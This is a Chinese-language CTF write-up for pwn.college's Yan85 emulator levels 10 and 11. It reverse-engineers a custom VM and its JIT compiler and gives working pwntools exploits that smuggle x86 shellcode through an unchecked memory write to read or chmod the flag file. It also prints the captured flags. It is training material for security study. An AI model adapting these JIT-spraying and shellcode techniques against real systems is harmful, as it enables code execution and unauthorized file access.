if ( 256 - a1[1025] <= v6 ) LOBYTE(v6) = -a1[1025]; v7 = sys_write(a1, a1[1024], &a1[a1[1025] + 768], (unsigned __int8)v6); write_register(a1, BYTE2(a2), v7); } if ( (a2 & 0x400) != 0 ) { puts("[s] ... sleep"); v8 = sys_sleep(a1, a1[1024]); write_register(a1, BYTE2(a2), v8); } if ( (a2 & 0x800) != 0 ) { puts("[s] ... exit"); sys_exit(a1, a1[1024]); } result = BYTE2(a2); if ( BYTE2(a2) ) { v10 = (unsigned __int8)read_register(a1, BYTE2(a2)); v11 = (const char *)describe_register(BYTE2(a2)); return printf("[s] ... return value (in register %s): %#hhx\n", v11, v10); } return result;}
Sooooooo,我们把 orw
串起来就好了,实现用一条指令调用多个 syscall!
Exploit
#!/usr/bin/python
from pwn import log, os
def construct_payload(): yancode = b"\x01\x02\x00" # imm a, 0x00 yancode += b"\x01\x40\x66" # imm b, 0x66 yancode += b"\x20\x02\x40" # stm a, b yancode += b"\x01\x40\x00" # imm b, 0x00 yancode += b"\x01\x10\xff" # imm c, 0xff yancode += b"\x80\x13\x02" # orw
return yancode
def save_shellcode_to_file(filename): payload = construct_payload()
try: with open(filename, "wb") as f: f.write(payload) except Exception as e: log.exception(f"An error occurred while saving shellcode to file: {e}")
def main(): try: os.system("ln -s /flag f")
save_shellcode_to_file("shellcode") except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
令我感到奇怪的是 exp 中使用 os.dup2(1, 57)
并不能将 fd 57
redirect 到 stdout
。但是将 shellcode 写到文件中,再将其作为 stdin 传给程序,并重定向 fd 57
到 stdout 就可以。
./toddlerone-level-10-0 < shellcode 57>&1 > output
Flag
Flag: pwn.college{c8a_GFOYLKgE8O8i-6oZxhhzxgi.01NzMDL5cTNxgzW}
Level 10.1
Information
- Category: Pwn
Description
The ultimate Yan85 challenge. Provide your own Yan85 shellcode.
Write-up
参见 Level 10.0。
Exploit
#!/usr/bin/python
from pwn import log, os
def construct_payload(): yancode = b"\x40\x10\x00" # imm a, 0x00 yancode += b"\x40\x20\x66" # imm b, 0x66 yancode += b"\x04\x10\x20" # stm a, b yancode += b"\x40\x20\x00" # imm b, 0x00 yancode += b"\x40\x04\xff" # imm c, 0xff yancode += b"\x02\x2a\x10" # orw
return yancode
def save_shellcode_to_file(filename): payload = construct_payload()
try: with open(filename, "wb") as f: f.write(payload) except Exception as e: log.exception(f"An error occurred while saving shellcode to file: {e}")
def main(): try: os.system("ln -s /flag f")
save_shellcode_to_file("shellcode") except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{oWpBceTnbTClQqRYa8nwc5Pi1b9.0FOzMDL5cTNxgzW}
Level 10 做完也是直接从第七杀入前三了 LOL

Level 11.0
Information
- Category: Pwn
Description
The ultimate Yan85 challenge. Provide your own Yan85 shellcode. Now updated for modern hardware!
Write-up
终于到了传说中的 JIT (Just-in-time compilation),也是本章节最后的 BOSS! 之前看这一章讲义的时候就觉得这是一个很高端的东西。是的,我懂,我懂,又是一道令我仰望的题(其实当时看讲义觉得利用应该也没那么难,只是概念对我来说比较新,因为是第一次接触吧。这种情境仿佛一夜之间世界从蒸汽时代飞跃至信息化巅峰,众人皆已驾驭现代科技,我却恍如沉醉于旧工业的残梦未醒……忽而惊觉,恍若隔世,徒留错愕于时代洪流之中……)……Brain 以自动为您触发被动 skill 畏难 :skull:
话不多说,直接开干!迎面袭来的,是刺鼻的恶臭,嗅……嗯,纯正的,错不了,是逆向分析!/丧中没有一丝燃,好熟悉……
通常这种硬核难题都是,熬过最折磨人的逆向阶段后,神挡杀神、佛挡杀佛,最好如此。/某人试图自我打气
你熟悉又陌生的 main 姑娘:
int __fastcall main(int argc, const char **argv, const char **envp){ __int64 v4; // [rsp+18h] [rbp-2818h] _BYTE s[2064]; // [rsp+20h] [rbp-2810h] BYREF void *addr; // [rsp+2020h] [rbp-810h] unsigned __int64 v7; // [rsp+2828h] [rbp-8h]
v7 = __readfsqword(0x28u); printf("[+] Welcome to %s!\n", *argv); puts("[+] This challenge is an custom emulator. It emulates a completely custom"); puts("[+] architecture that we call \"Yan85\"! You'll have to understand the"); puts("[+] emulator to understand the architecture, and you'll have to understand"); puts("[+] the architecture to understand the code being emulated, and you will"); puts("[+] have to understand that code to get the flag. Good luck!"); puts("[+]"); puts("[+] This level is a full Yan85 emulator. You'll have to reason about yancode,"); puts("[+] and the implications of how the emulator interprets it!"); puts("[X]"); puts("[X] Arizona State University is proud to present a NEW version of Yan85:"); puts("[X] Yan85_64! This is a beta preview of the cutting-edge technology, armed"); puts("[X] with the latest in security mitigations. Hopefully, we didn't forget to"); puts("[X] check all the memory accesses properly, though you never know...."); puts("[X]"); setvbuf(_bss_start, 0LL, 2, 1uLL); memset(s, 0, 0x2808uLL); printf("[!] This time, YOU'RE in control! Please input your yancode: "); read(0, s, 0x1800uLL); puts("[+]"); puts("[+] This is a *teaching* challenge, which means that it will output"); puts("[+] a trace of the Yan85 code as it processes it. The output is here"); puts("[+] for you to understand what the challenge is doing, and you should use"); puts("[+] it as a guide to help with your reversing of the code."); puts("[+]"); addr = mmap((void *)0x1337000, 0x1000uLL, 7, 34, 0, 0LL); v4 = emit_program(s); if ( mprotect(addr, 0x1000uLL, 5) ) __assert_fail( "mprotect(state.compiled_code, 0x1000, PROT_READ|PROT_EXEC) == 0", "/challenge/toddlerone-level-11-0.c", 0x323u, "main"); puts("[!] Your yancode has been JITed! The result is the following x86_64 code:"); print_disassembly(addr, v4 - (_QWORD)addr); ((void (*)(void))addr)(); return 0;}
注意到 read
可以造成栈溢出,暂时不知道有没有用,先记录一下。
mmap
在 0x1337000
分配了 0x1000
bytes 的 rwx
空间,通过后续的分析我们知道这个地址是用来存放编译后代码的。
之后进入了 emit_program(s)
。返回后移除了编译后代码处的写权限,调用 print_disassembly(addr, v4 - (_QWORD)addr)
输出编译后的机器码及其反汇编,最后通过 ((void (*)(void))addr)()
执行编译后代码。
_BYTE *__fastcall emit_program(__int64 a1){ _BYTE *v1; // rax _BYTE *v2; // rax _BYTE *v3; // rax _BYTE *v4; // rax _BYTE *v5; // rax _BYTE *v6; // rax int v7; // r8d int v8; // r9d int i; // [rsp+14h] [rbp-Ch] _BYTE *v11; // [rsp+18h] [rbp-8h] _QWORD *v12; // [rsp+18h] [rbp-8h] _BYTE *v13; // [rsp+18h] [rbp-8h]
v11 = *(_BYTE **)(a1 + 0x2000); puts("[e] emitting initialization code"); v1 = helper_mov_imm(a1, v11, 32LL, 0LL); v2 = helper_mov_imm(a1, v1, 64LL, 0LL); v3 = helper_mov_imm(a1, v2, 16LL, 0LL); v4 = helper_mov_imm(a1, v3, 8LL, 0LL); v5 = helper_mov_imm(a1, v4, 4LL, 0LL); v6 = helper_mov_imm(a1, v5, 2LL, 0LL); v12 = helper_mov_imm(a1, v6, 1LL, 0LL); for ( i = 0; i <= 255; ++i ) { *(_QWORD *)(a1 + 8 * (i + 1024LL) + 8) = (char *)v12 - *(_QWORD *)(a1 + 0x2000); printf("[e] instruction %d to %p (offset %#x from base)\n", i, v12, *(_QWORD *)(a1 + 8 * (i + 1024LL) + 8)); *(_BYTE *)v12 = 73; v13 = (char *)v12 + 1; *v13++ = -57; *v13++ = -63; *(_DWORD *)v13 = i; v12 = (_QWORD *)emit_instruction( a1, (int)v13 + 4, i, a1, v7, v8, *(_QWORD *)(a1 + 24LL * i), *(_QWORD *)(a1 + 24LL * i + 8), *(_QWORD *)(a1 + 24LL * i + 16)); } printf("[e] compiled %d instructions!\n", i); return emit_end(a1, v12);}
v11 = *(_BYTE **)(a1 + 0x2000)
的作用是取编译后代码的起始地址 (_BYTE *
)。
emitting initialization code 后的七个 helper_mov_imm
负责初始化一些寄存器的值。深入其内部我们知道,这个函数的作用就是负责将我们输入的 imm
的 yancode 翻译为 amd64 中的 movabs
指令的机器码:
_QWORD *__fastcall helper_mov_imm(__int64 a1, _BYTE *a2, __int64 a3, __int64 a4){ _QWORD *v5; // [rsp+10h] [rbp-10h]
switch ( a3 ) { case 32LL: *a2 = 73; a2[1] = -70; v5 = a2 + 2; break; case 64LL: *a2 = 73; a2[1] = -69; v5 = a2 + 2; break; case 16LL: *a2 = 73; a2[1] = -68; v5 = a2 + 2; break; case 8LL: *a2 = 73; a2[1] = -67; v5 = a2 + 2; break; case 4LL: *a2 = 73; a2[1] = -66; v5 = a2 + 2; break; case 2LL: *a2 = 73; a2[1] = -65; v5 = a2 + 2; break; case 1LL: *a2 = 73; a2[1] = -71; v5 = a2 + 2; break; default: crash(a1, "Unknown register in emit_imm"); } *v5 = a4; return v5 + 1;}
通过观察运行结果我们知道这七条指令分别对应了:
0x0000000001337000 | 49 ba 00 00 00 00 00 00 00 00 | movabs r10, 00x000000000133700a | 49 bb 00 00 00 00 00 00 00 00 | movabs r11, 00x0000000001337014 | 49 bc 00 00 00 00 00 00 00 00 | movabs r12, 00x000000000133701e | 49 bd 00 00 00 00 00 00 00 00 | movabs r13, 00x0000000001337028 | 49 be 00 00 00 00 00 00 00 00 | movabs r14, 00x0000000001337032 | 49 bf 00 00 00 00 00 00 00 00 | movabs r15, 00x000000000133703c | 49 b9 00 00 00 00 00 00 00 00 | movabs r9, 0
进入循环体内部,*(_QWORD *)(a1 + 8 * (i + 1024LL) + 8) = (char *)v12 - *(_QWORD *)(a1 + 0x2000);
负责计算当前指令相对于 v11
的偏移,单位是字节。
之后 for
循环默认会生成 256 条占位指令(如果你没有输入任何 yancode)。结果差不多是下面这样,每隔一条指令 arg2 这个立即数增加 0x1:
0x0000000001337046 | 49 c7 c1 00 00 00 00 | mov r9, 00x000000000133704d | 49 c7 c1 01 00 00 00 | mov r9, 10x0000000001337054 | 49 c7 c1 02 00 00 00 | mov r9, 2 <snap>0x0000000001337731 | 49 c7 c1 fd 00 00 00 | mov r9, 0xfd0x0000000001337738 | 49 c7 c1 fe 00 00 00 | mov r9, 0xfe0x000000000133773f | 49 c7 c1 ff 00 00 00 | mov r9, 0xff
接下来,就是我们最关心的 yancode 如何解析了。为了方便查阅理解,这里把调用部分单独贴出来:
// <snap>for ( i = 0; i <= 255; ++i ){ *(_QWORD *)(a1 + 8 * (i + 1024LL) + 8) = (char *)v12 - *(_QWORD *)(a1 + 0x2000); printf("[e] instruction %d to %p (offset %#x from base)\n", i, v12, *(_QWORD *)(a1 + 8 * (i + 1024LL) + 8)); *(_BYTE *)v12 = 73; v13 = (char *)v12 + 1; *v13++ = -57; *v13++ = -63; *(_DWORD *)v13 = i; v12 = (_QWORD *)emit_instruction( a1, (int)v13 + 4, i, a1, v7, v8, *(_QWORD *)(a1 + 24LL * i), *(_QWORD *)(a1 + 24LL * i + 8), *(_QWORD *)(a1 + 24LL * i + 16) );}// <snap>
(int)v13 + 4
代表下一条指令的起始地址。*(_QWORD *)(a1 + 24LL * i + 16)
是 a9
,观察下面的 emit_instruction
的具体实现我们知道程序通过这个参数来判断需要把 yancode 解析成什么指令,所以它就是 opcode 位。
__int64 __fastcall emit_instruction( int a1, __int64 a2, __int64 a3, int a4, int a5, int a6, __int64 a7, __int64 a8, __int64 a9){ __int64 v10; // [rsp+0h] [rbp-10h]
v10 = a2; if ( (a9 & 0x40) != 0 ) v10 = emit_imm(a1, a2, a2, a4, a5, a6, a7, a8); if ( (a9 & 4) != 0 ) v10 = emit_add(a1, v10, v10, a4, a5, a6, a7, a8); if ( (a9 & 1) != 0 ) v10 = emit_stk(a1, v10, v10, a4, a5, a6, a7, a8); if ( (a9 & 0x10) != 0 ) v10 = emit_stm(a1, v10, v10, a4, a5, a6, a7, a8); if ( (a9 & 0x80) != 0 ) v10 = emit_ldm(a1, v10, v10, a4, a5, a6, a7, a8); if ( (a9 & 0x20) != 0 ) v10 = emit_cmp(a1, v10, v10, a4, a5, a6, a7, a8); if ( (a9 & 8) != 0 ) v10 = emit_jmp(a1, v10, v10, a4, a5, a6, a7, a8); if ( (a9 & 2) != 0 ) emit_sys(a1, v10, v10, a4, a5, a6, a7, a8); return v10;}
就以 imm
为例吧,首先得满足 (*(_QWORD *)(a1 + 24LL * i + 16) & 40) != 0
,那就是 b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
;-; 我也不知道是不是应该写出来,但是真的好长啊……
__int64 __fastcall emit_imm( __int64 a1, _BYTE *a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8){ const char *v8; // rax _QWORD *v10; // [rsp+0h] [rbp-20h]
v8 = (const char *)describe_register(a7); printf("[e] compiling IMM %s = %#hhx to %p\n", v8, a8, a2); v10 = helper_mov_imm(a1, a2, a7, a8); if ( a7 == 1 ) return helper_jmp_i(a1, v10); return (__int64)v10;}
然后注意到 (const char *)describe_register(a7)
,说明 a7
,也就是 *(_QWORD *)(a1 + 24LL * i)
代表寄存器,结合下面的 printf
可知它是 arg1。a8
,也就是 *(_QWORD *)(a1 + 24LL * i + 8)
代表 arg2,是一个立即数。
那么最终 yancode 格式应该是 arg1, arg2, opcode
这样的,注意每个参数位都是一个 QWORD
。
__int64 __fastcall emit_imm( __int64 a1, const void *a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8){ const char *v8; // rax __int64 v10; // [rsp+0h] [rbp-20h]
v8 = (const char *)describe_register(a7); printf("[e] compiling IMM %s = %#hhx to %p\n", v8, a8, a2); v10 = helper_mov_imm(a1, a2, a7, a8); if ( a7 == 1 ) return helper_jmp_i(a1, v10); return v10;}
九个参数看着挺吓人的,实际上还好啦~
通过讲义的学习我们知道,攻击思路大致应该是将 shellcode 写到变量里面,然后利用 jmp
跳转到变量内部执行我们的 shellcode。
所以我们用到的指令应该有 imm
、stm
、jmp
。
先来看看 jmp
指令的实现:
__int64 __fastcall emit_jmp( __int64 a1, _BYTE *a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8){ const char *v8; // rbx const char *v9; // rax _BYTE *v10; // rax
v8 = (const char *)describe_register(a8); v9 = (const char *)describe_flags(a7); printf("[e] compiling JMP %s %s to %p\n", v9, v8, a2); if ( a7 ) crash(a1, "conditional jumps not supported in JIT mode"); *a2 = 77; a2[1] = -119; v10 = helper_combo_byte(a1, a2 + 2, 1LL, a8); return helper_jmp_i(a1, v10);}
跳转条件被禁了,所以 arg1 对我们来说是没用的,需要设置为 0。那么 jmp
的格式就是 jmp * reg
了。
helper_combo_byte(a1, a2 + 2, 1LL, a8)
的作用是将 yancode 中 arg2 代表的寄存器转换为 amd64 寄存器对应的机器码。而上面的两条代码负责生成将转换后得到的寄存器的值移动到 r9
中的机器码:
*a2 = 77;a2[1] = -119;
所以最后会生成类似这样的一条指令:
mov r9, ?
附上 helper_combo_byte
的内部实现:
174 collapsed lines
_BYTE *__fastcall helper_combo_byte(__int64 a1, _BYTE *a2, __int64 a3, __int64 a4){ if ( a3 == 32 && a4 == 32 ) { *a2 = -46; return a2 + 1; } else if ( a3 == 32 && a4 == 64 ) { *a2 = -38; return a2 + 1; } else if ( a3 == 32 && a4 == 16 ) { *a2 = -30; return a2 + 1; } else if ( a3 == 32 && a4 == 8 ) { *a2 = -22; return a2 + 1; } else if ( a3 == 32 && a4 == 2 ) { *a2 = -6; return a2 + 1; } else if ( a3 == 32 && a4 == 1 ) { *a2 = -54; return a2 + 1; } else if ( a3 == 32 && a4 == 4 ) { *a2 = -14; return a2 + 1; } else if ( a3 == 64 && a4 == 32 ) { *a2 = -45; return a2 + 1; } else if ( a3 == 64 && a4 == 64 ) { *a2 = -37; return a2 + 1; } else if ( a3 == 64 && a4 == 16 ) { *a2 = -29; return a2 + 1; } else if ( a3 == 64 && a4 == 8 ) { *a2 = -21; return a2 + 1; } else if ( a3 == 64 && a4 == 2 ) { *a2 = -5; return a2 + 1; } else if ( a3 == 64 && a4 == 1 ) { *a2 = -53; return a2 + 1; } else if ( a3 == 64 && a4 == 4 ) { *a2 = -13; return a2 + 1; } else if ( a3 == 16 && a4 == 32 ) { *a2 = -44; return a2 + 1; } else if ( a3 == 16 && a4 == 64 ) { *a2 = -36; return a2 + 1; } else if ( a3 == 16 && a4 == 16 ) { *a2 = -28; return a2 + 1; } else if ( a3 == 16 && a4 == 8 ) { *a2 = -20; return a2 + 1; } else if ( a3 == 16 && a4 == 2 ) { *a2 = -4; return a2 + 1; } else if ( a3 == 16 && a4 == 1 ) { *a2 = -52; return a2 + 1; } else if ( a3 == 16 && a4 == 4 ) { *a2 = -12; return a2 + 1; } else if ( a3 == 8 && a4 == 32 ) { *a2 = -43; return a2 + 1; } else if ( a3 == 8 && a4 == 64 ) { *a2 = -35; return a2 + 1; } else if ( a3 == 8 && a4 == 16 ) { *a2 = -27; return a2 + 1; } else if ( a3 == 8 && a4 == 8 ) { *a2 = -19; return a2 + 1; } else if ( a3 == 8 && a4 == 2 ) { *a2 = -3; return a2 + 1; } else if ( a3 == 8 && a4 == 1 ) { *a2 = -51; return a2 + 1; } else if ( a3 == 8 && a4 == 4 ) { *a2 = -11; return a2 + 1; } else if ( a3 == 2 && a4 == 32 ) { *a2 = -41; return a2 + 1; } else if ( a3 == 2 && a4 == 64 ) { *a2 = -33; return a2 + 1; } else if ( a3 == 2 && a4 == 16 ) { *a2 = -25; return a2 + 1; } else if ( a3 == 2 && a4 == 8 ) { *a2 = -17; return a2 + 1; } else if ( a3 == 2 && a4 == 2 ) { *a2 = -1; return a2 + 1; } else if ( a3 == 2 && a4 == 1 ) { *a2 = -49; return a2 + 1; } else if ( a3 == 2 && a4 == 4 ) { *a2 = -9; return a2 + 1; } else if ( a3 == 1 && a4 == 32 ) { *a2 = -47; return a2 + 1; } else if ( a3 == 1 && a4 == 64 ) { *a2 = -39; return a2 + 1; } else if ( a3 == 1 && a4 == 16 ) { *a2 = -31; return a2 + 1; } else if ( a3 == 1 && a4 == 8 ) { *a2 = -23; return a2 + 1; } else if ( a3 == 1 && a4 == 2 ) { *a2 = -7; return a2 + 1; } else if ( a3 == 1 && a4 == 1 ) { *a2 = -55; return a2 + 1; } else if ( a3 == 1 && a4 == 4 ) { *a2 = -15; return a2 + 1;39 collapsed lines
} else if ( a3 == 4 && a4 == 32 ) { *a2 = -42; return a2 + 1; } else if ( a3 == 4 && a4 == 64 ) { *a2 = -34; return a2 + 1; } else if ( a3 == 4 && a4 == 16 ) { *a2 = -26; return a2 + 1; } else if ( a3 == 4 && a4 == 8 ) { *a2 = -18; return a2 + 1; } else if ( a3 == 4 && a4 == 2 ) { *a2 = -2; return a2 + 1; } else if ( a3 == 4 && a4 == 1 ) { *a2 = -50; return a2 + 1; } else { if ( a3 != 4 || a4 != 4 ) crash(a1, "Unkown register combination in helper_combo_byte"); *a2 = -10; return a2 + 1; }}
helper_jmp_i(a1, v10)
生成的代码是:
mov r8, r9shl r8, 3movabs rax, 0x7fff791f5478add r8, raxmov r8, qword ptr [r8]movabs rax, 0x1337000add r8, raxjmp r8
其内部实现如下:
__int64 __fastcall helper_jmp_i(__int64 a1, __int64 a2){ *(_BYTE *)a2 = 0x4D; *(_BYTE *)(a2 + 1) = 0x89; *(_BYTE *)(a2 + 2) = 0xC8; *(_BYTE *)(a2 + 3) = 0x49; *(_BYTE *)(a2 + 4) = 0xC1; *(_BYTE *)(a2 + 5) = 0xE0; *(_BYTE *)(a2 + 6) = 3; *(_BYTE *)(a2 + 7) = 0x48; *(_BYTE *)(a2 + 8) = 0xB8; *(_QWORD *)(a2 + 9) = a1 + 0x2008; *(_BYTE *)(a2 + 17) = 0x49; *(_BYTE *)(a2 + 18) = 1; *(_BYTE *)(a2 + 19) = 0xC0; *(_BYTE *)(a2 + 20) = 0x4D; *(_BYTE *)(a2 + 21) = 0x8B; *(_BYTE *)(a2 + 22) = 0; *(_BYTE *)(a2 + 23) = 0x48; *(_BYTE *)(a2 + 24) = 0xB8; *(_QWORD *)(a2 + 25) = *(_QWORD *)(a1 + 0x2000); *(_BYTE *)(a2 + 33) = 0x49; *(_BYTE *)(a2 + 34) = 1; *(_BYTE *)(a2 + 35) = 0xC0; *(_BYTE *)(a2 + 36) = 0x41; *(_BYTE *)(a2 + 37) = 0xFF; *(_BYTE *)(a2 + 38) = 0xE0; return a2 + 39;}
大致逻辑就是以 a1 + 0x2008
为基地址,reg 左移三位的值为偏移的这个位置处的 QWORD 移动到 r8
,并以 *(_QWORD *)(a1 + 0x2000)
,也就是 0x1337000
为基,r8
为偏移,跳转到 r8
处执行。所以我们只要控制 r8
为 shellcode 的偏移就好了。
因为有之前 Yan85 的经验,我们知道 stm
可以用于设置寄存器指向的地址的值,所以:
__int64 __fastcall emit_stm( __int64 a1, const void *a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8){ const char *v8; // rbx const char *v9; // rax __int64 r8; // rax
v8 = (const char *)describe_register(a8); v9 = (const char *)describe_register(a7); printf("[e] compiling STM *%s = %s to %p\n", v9, v8, a2); r8 = helper_load_r8(a1, a2, a7); return helper_store_mem(a1, r8, a8);}
r8 = helper_load_r8(a1, a2, a7);
的作用是将 arg1 寄存器的值加载到 r8
中。变量 r8
存储的是下一条指令的起始地址。
helper_store_mem(a1, r8, a8)
的作用是先将 a1 + 0x1800
的地址写入 rax
,然后 r8 = r8 + rax
得到要写入的位置,最后将 arg2 寄存器的 QWORD 值写入到 [r8]
。
所以 stm
实际实现了下面这些指令:
mov r8, r10movabs rax, 0x7ffc4b50d840add r8, raxmov qword ptr [r8], r11
相信敏锐的你已经发现了,通过 stm
直接可以控制 jmp
的跳转偏移!
之前我们分析出编译出来的 amd64 代码在 a1 + 0x2000
处,而这里 stm
是以 a1 + 0x1800
为基址的,所以我们需要计算一下它们之间相距多少:
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────── 0x133704d movabs r10, 0 R10 => 0 0x1337057 mov r9, 1 R9 => 1 0x133705e movabs r11, 0x76 R11 => 0x76 0x1337068 mov r9, 2 R9 => 2 0x133706f mov r8, r10 R8 => 0 ► 0x1337072 movabs rax, 0x7ffc436fde60 RAX => 0x7ffc436fde60 ◂— 0 0x133707c add r8, rax R8 => 0x7ffc436fde60 (0x0 + 0x7ffc436fde60) 0x133707f mov qword ptr [r8], r11 [0x7ffc436fde60] => 0x76 0x1337082 mov r9, 3 R9 => 3 0x1337089 mov r9, r10 R9 => 0 0x133708c mov r8, r9 R8 => 0─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────00:0000│ rsp 0x7ffc436fc638 —▸ 0x604e8e832312 (main+630) ◂— mov eax, 001:0008│ 0x7ffc436fc640 —▸ 0x7ffc436fef98 —▸ 0x7ffc436ff629 ◂— '/home/cub3y0nd/Projects/pwn.college/toddlerone-level-11-0'02:0010│ 0x7ffc436fc648 ◂— 0x10000000003:0018│ 0x7ffc436fc650 ◂— 004:0020│ 0x7ffc436fc658 —▸ 0x13377b6 ◂— add byte ptr [rax], al05:0028│ 0x7ffc436fc660 ◂— 0x20 /* ' ' */06:0030│ 0x7ffc436fc668 ◂— 007:0038│ 0x7ffc436fc670 ◂— 0x40 /* '@' */───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────── ► 0 0x1337072 1 0x604e8e832312 main+630 2 0x7963bbc34e08 3 0x7963bbc34ecc __libc_start_main+140 4 0x604e8e8302ae _start+46────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg> p/x 0x2000-0x1800$1 = 0x800pwndbg> x/10gx 0x7ffc436fde60+0x8000x7ffc436fe660: 0x0000000001337000 0x00000000000000460x7ffc436fe670: 0x0000000000000057 0x00000000000000680x7ffc436fe680: 0x0000000000000082 0x00000000000000b30x7ffc436fe690: 0x00000000000000c4 0x00000000000000d50x7ffc436fe6a0: 0x00000000000000e6 0x00000000000000ed
所以,只要控制偏移为 0x808
处的值为 shellcode 的偏移即可。
那我们的 yancode 就可以设计为:
imm a, 0x808imm b, shellcode_offsetstm a, bimm a, 0jmp * aimm a, shellcodeimm a, shellcodeimm a, shellcode...
因为 shellcode 用一个变量肯定存不下,所以我们需要把各个部分分开写到多个变量中,之间通过 jmp
来实现连续的控制流。
小小 JIT 不过如此嘛~
至此,既然攻击链都出来了,那这个虚拟机还剩下的一些细枝末节我就懒得分析了,直接开写 exp。
Exploit
#!/usr/bin/python3
from pwn import ELF, asm, context, gdb, log, p64, process, remote
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-11-0"HOST, PORT = "localhost", 1337
gdbscript = """b *main+628c"""
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def construct_payload(): """ arg1, arg2, opcode
/* chmod(file='f', mode=4) */ /* push b'f\x00' */ push 0x66 mov rdi, rsp push 4 pop rsi /* call chmod() */ push 90 /* 0x5a */ pop rax syscall """
yancode = p64(0x20) + p64(0x808) + p64(0x40) # imm a, 0x808 yancode += p64(0x40) + p64(0xCD) + p64(0x40) # imm b, 0xcd yancode += p64(0x20) + p64(0x40) + p64(0x10) # stm a, b yancode += p64(0x20) + p64(0x00) + p64(0x40) # imm a, 0x00 yancode += p64(0x00) + p64(0x20) + p64(0x08) # jmp *, a yancode += ( p64(0x20) + asm("push 0x66; mov rdi, rsp; nop; jmp $+0xb") + p64(0x40) ) # imm a, shellcode yancode += ( p64(0x20) + asm("push 0x4; pop rsi; push 0x5a; nop; jmp $+0xb") + p64(0x40) ) # imm a, shellcode yancode += ( p64(0x20) + asm("pop rax; syscall") + asm("nop") * 0x5 + p64(0x40) ) # imm a, shellcode
return yancode
def attack(target, payload): try: target.sendafter(b"Please input your yancode: ", payload) target.recvall(timeout=3)
try: with open("./f", "r") as file: content = file.read() log.success(content)
return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: target = launch(debug=False) payload = construct_payload()
attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{MCXoFb-q4KUhm1mE_Yk7XCDiZZa.0VOzMDL5cTNxgzW}
Level 11.1
Information
- Category: Pwn
Description
The ultimate Yan85 challenge. Provide your own Yan85 shellcode. Now updated for modern hardware!
Write-up
参见 Level 11.0。
Exploit
#!/usr/bin/python3
from pwn import ELF, asm, context, gdb, log, p64, process, remote
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-11-1"HOST, PORT = "localhost", 1337
gdbscript = """b *main+503c"""
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def construct_payload(): """ opcode arg1, arg2
/* chmod(file='f', mode=4) */ /* push b'f\x00' */ push 0x66 mov rdi, rsp push 4 pop rsi /* call chmod() */ push 90 /* 0x5a */ pop rax syscall """
yancode = p64(0x10) + p64(0x08) + p64(0x808) # imm a, 0x808 yancode += p64(0x10) + p64(0x02) + p64(0xCD) # imm b, 0xcd yancode += p64(0x02) + p64(0x08) + p64(0x02) # stm a, b yancode += p64(0x10) + p64(0x08) + p64(0x00) # imm a, 0x00 yancode += p64(0x08) + p64(0x00) + p64(0x08) # jmp *, a yancode += ( p64(0x10) + p64(0x08) + asm("push 0x66; mov rdi, rsp; nop; jmp $+0xb") ) # imm a, shellcode yancode += ( p64(0x10) + p64(0x08) + asm("push 0x4; pop rsi; push 0x5a; nop; jmp $+0xb") ) # imm a, shellcode yancode += ( p64(0x10) + p64(0x08) + asm("pop rax; syscall") + asm("nop") * 0x5 ) # imm a, shellcode
return yancode
def attack(target, payload): try: target.sendafter(b"Please input your yancode: ", payload)
try: with open("./f", "r") as file: content = file.read() log.success(content)
return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: target = launch(debug=False) payload = construct_payload()
attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{Ya3vfImP22Fzv4tZpHMBD5iDj_H.0FM0MDL5cTNxgzW}
后记
又是打了十八天,终于可以开启我心心念念朝思暮想曾多次想放弃却从未开启的下一章了 LMAO